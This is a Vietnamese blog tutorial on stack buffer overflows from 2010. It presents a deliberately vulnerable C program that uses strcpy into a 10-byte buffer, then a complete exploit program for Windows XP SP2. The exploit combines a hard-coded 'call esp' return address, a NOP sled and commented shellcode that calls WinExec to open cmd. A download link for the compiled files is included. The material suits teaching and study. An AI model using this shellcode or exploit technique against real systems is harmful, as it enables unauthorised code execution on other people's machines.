Trao đổi với tôi

www.hdphim.info OR www.chepphimhdtv.com

1/15/10

[Hacking] Buffer Overflow

Không biết post cái này vào đây được hong ta.
Lỗi buffer overflow đã có nhiều bài viết về nó nên mình chỉ xin nói ngắn gọn thôi, các link tham khảo thêm
Code:
http://www.hvaonline.net/hvaonline/posts/list/26195.hva
Mình không rành về lý thuyết nên mình sẽ không nói về lý thuyết về buffer overflow là như thế nào.
Đây là 1 đoạn code của chương trình có nguy cơ bị buffer overflow (vuln.c)
Code:
#include 
#include
int main(int argc, char ** argv)
{
char buf[10]; // Khai bao 1 mang kieu char co do dai la 10
if(argc == 2)
{
printf("Chuan bi exploit buffer overflow nao\n");
strcpy(buf, argv[1]);
}
else
{
printf("Thay duoc dong nay khong\n");
}
return 0;
}
Trong chương trình có khai báo 1 mảng kiểu char có chiều dài là 10
Sau khi biên dịch ta chạy thử chương trình xem sao
This image has been resized. Click this bar to view the full image. The original image is sized 639x400.


Trên hình ta có thể thấy được khi ta chạy chương trình với tham số truyền vào lớn hơn 10 nó sẽ sinh ra lỗi. Ta thử click vào click here để xem có gì trong đó


Xem hình dưới đây để hiểu rõ hơn
This image has been resized. Click this bar to view the full image. The original image is sized 959x570.


Dựa vào hình ảnh trên ta có thể hình dung ra được tham số truyền vào của ta sẽ như sau:
Quote:
[10 byte ngẫu nhiên] + [4 byte ghi de vao ESP] + [4 byte ghi de vao EBP] + [shellcode]
Giờ ta thử viết 1 chương trình exploit buffer overflow này thử xem sao (expl_vuln.c)
Code:
#include 
#include

#define RET 0x7C82385D // Day la cho call esp trong kernel32.dll
#define TRASH 0x41 // 'A' dinh nghi ky tu rac o day ta co the khai bao ky tu nao cung dc

/* shellcode chua 0x33 byte = 55 byte */
char shellcode[]=
"\x55" // PUSH EBP
"\x8B\xEC" // MOV EBP,ESP
"\xFF\x75\xF8" // PUSH DWORD PTR SS:[EBP-8] khai bao 1 bien de luu cmd
"\x60" // PUSHAD
"\x33\xC0" // XOR EAX,EAX
"\x50" // PUSH EAX
"\xC6\x45\xF8\x63" // MOV BYTE PTR SS:[EBP-8],63 'C'
"\xC6\x45\xF9\x6D" // MOV BYTE PTR SS:[EBP-7],6D 'D'
"\xC6\x45\xFA\x64" // MOV BYTE PTR SS:[EBP-6],64 'M'
"\x88\x45\xFB" // MOV BYTE PTR SS:[EBP-5],AL
"\x50" // PUSH EAX
"\x8D\x45\xF8" // LEA EAX,DWORD PTR SS:[EBP-8]
"\x50" // PUSH EAX tuc la push cmd vao stack
"\xB8\x4D\x11\x86\x7C" // MOV EAX,7C86114D WinExec: 0x7c86114d (WindowsXP SP2)
"\xFF\xD0" // CALL EAX call eax (WinExec)
"\xB8\xA2\xCA\x81\x7C" // MOV EAX,7C81CAA2 ExitProcess at 0x7c81caa2 (WindowsXP SP2)
"\xFF\xD0" // CALL EAX call eax (ExitProcess)
"\x61" // POPAD
"\x8F\x45\xF8" // POP DWORD PTR SS:[EBP-8]
"\x8B\xEC" // MOV EBP,ESP
"\x5D"; // POP EBP

int main(int argc,char *argv[])
{
char *bufExe[3];
char buf[100]; // 10 byte + 4 byte ESP + 4 byte EBP + 55 byte shellcode = 73 byte, ta khai bao 100 luon cho chan~

memset(buf, 0, sizeof(buf)); // Ghi de toan bo buf voi byte 0x00
bufExe[0] = "vuln.exe"; // Khai bao ten file ma ta se exploit
bufExe[2] = NULL;

for(int i=0;i<18;i++)
buf[i] = TRASH; //Ghi 18 ky tu 'A' rac vao mang buf (10 byte + 4 byte ESP + 4 byte EBP)

*(int *) (buf + 14) = RET; // return address = call esp (ghi de vao thanh ghi EIP)
strcat(buf, "\x90\x90\x90\x90"); // small NOP sledge (ghi de EBP)
strcat(buf, shellcode); // shellcode (cho ESP day ghi shellcode vao)
bufExe[1] = buf;
printf("Thuc hien viec exploit\n");
execve(bufExe[0],bufExe,NULL); // Run file vuln.exe voi tham so truyen vao la buff
return 0;
}
Đoạn shellcode trên sẽ run CMD
Giờ ta thử compile và chạy thử xem (lưu ý để 2 file vuln.exe và expl_vuln.exe trong cùng thư mục)
This image has been resized. Click this bar to view the full image. The original image is sized 667x293.


File mà mình đã complie (phải chạy chương trình trên xpsp2)
Code:
http://www.mediafire.com/?gowy1p9j2rw
Thanks lão NPL nhiều về cái buffer overflow này

RefLink:http://cin1team.biz/showthread.php?t=139

No comments:

Post a Comment